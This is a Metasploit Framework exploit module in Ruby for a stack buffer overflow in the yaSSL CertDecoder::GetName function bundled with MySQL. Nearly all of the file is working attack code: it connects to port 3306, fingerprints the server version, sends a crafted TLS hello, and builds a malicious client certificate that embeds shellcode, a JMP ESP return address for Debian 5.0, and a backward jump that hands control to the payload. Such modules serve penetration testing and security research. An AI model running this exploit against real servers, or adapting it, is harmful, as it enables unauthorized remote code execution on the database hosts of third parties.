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##
# $Id: mysql_yassl_getname.rb 8287 2010-01-28 07:34:47Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
implementation bundled with MySQL. By sending a specially crafted
client certificate, an attacker can execute arbitrary code.
This vulnerability is present within the CertDecoder::GetName function inside
./taocrypt/src/asn.cpp. However, the stack buffer that is written to exists
within a parent function stack frame.
NOTE: This vulnerability requires a non-default configuration. First, the attacker
must be able to pass the host-based authentication. Next, the server must be
configured to listen on an accessible network interface. Lastly, the server
must have been manually configured to use SSL.
The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
on Windows XP SP3, these protections successfully prevented exploitation.
Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
pacakge were not exploitable due to the use of the compiler's FORTIFY feature.
Although suse11 was mentioned in the original blog post, the binary package they
provide does not contain yaSSL or support SSL.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8287
,
'References' =>
[
[ 'OSVDB', '61956' ],
[ 'URL', 'http://secunia.com/advisories/38344/' ],
[ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1046,
'BadChars' => "",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 25 2010'))
register_options([ Opt::RPORT(3306) ], self)
end
def exploit
connect
# read the mysql server hello :)
version = nil
if (buf = sock.get_once(-1, 5))
print_status("\n" + Rex::Text.to_hex_dump(buf))
if (buf =~ /is not allowed to connect/)
raise RuntimeError, 'The server refused our connection!'
end
len1,cmd = buf[0,5].unpack('VC')
rest = buf[5,len1]
idx = rest.index("\x00")
if (idx)
version = rest[0,idx]
print_status("Server reports version: #{version}")
end
end
# handle automatic target selection
mytarget = nil
if (target.name =~ /Automatic/)
print_status("Attempting to locate a corresponding target")
version = "(" + version + ")"
targets.each { |tgt|
if (tgt.name.include?(version))
mytarget = tgt
end
}
if (not mytarget)
raise RuntimeError, 'Unable to detect target automatically'
else
print_status("Using automatically detected target: #{mytarget.name}")
end
else
mytarget = target
print_status("Trying target #{mytarget.name}...")
end
# create/send the hello packet
hello = [0x01000020].pack('V')
hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
hello << "\x00" * 20
hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
hello << "\x00\x03\x02\x01\x00"
sock.put(hello)
# build a cn that will trigger the vulnerability
cn = rand_text(payload_space - payload.encoded.length)
cn << payload.encoded
cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
# NOTE: x in above (also gets passed to free())
pad = 1074 - payload_space
cn << rand_text(pad)
cn << [mytarget['JmpEsp']].pack('V')
distance = 4 + pad + 8 + payload.encoded.length
cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
cert = "\x2a\x86\x00\x84"
cert << [cn.length].pack('N')
cert << cn
cert = "\x30"+
"\x82\x01\x01"+
"\x31"+
"\x82\x01\x01"+
"\x30"+
"\x82\x01\x01"+
"\x06"+
"\x82\x00\x02" +
cert
cert = "\xa0\x03" +
"\x02\x01\x02" +
"\x02\x01\x00" +
"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
cert
# wrap in 2 sequences
cert = SNMP::BER.encode_tlv(0x30, cert)
cert = SNMP::BER.encode_tlv(0x30, cert)
cert1 = big_endian_24bit(cert.length) + cert
certs = big_endian_24bit(cert1.length) + cert1
handshake = "\x0b" + big_endian_24bit(certs.length) + certs
msg = "\x16\x03\x01"
msg << [handshake.length].pack('n')
msg << handshake
sock.put(msg)
handler
disconnect
end
def big_endian_24bit(len)
uno = (len >> 16) & 0xff
dos = (len >> 8) & 0xff
tre = len & 0xff
[uno,dos,tre].pack('C*')
end
end
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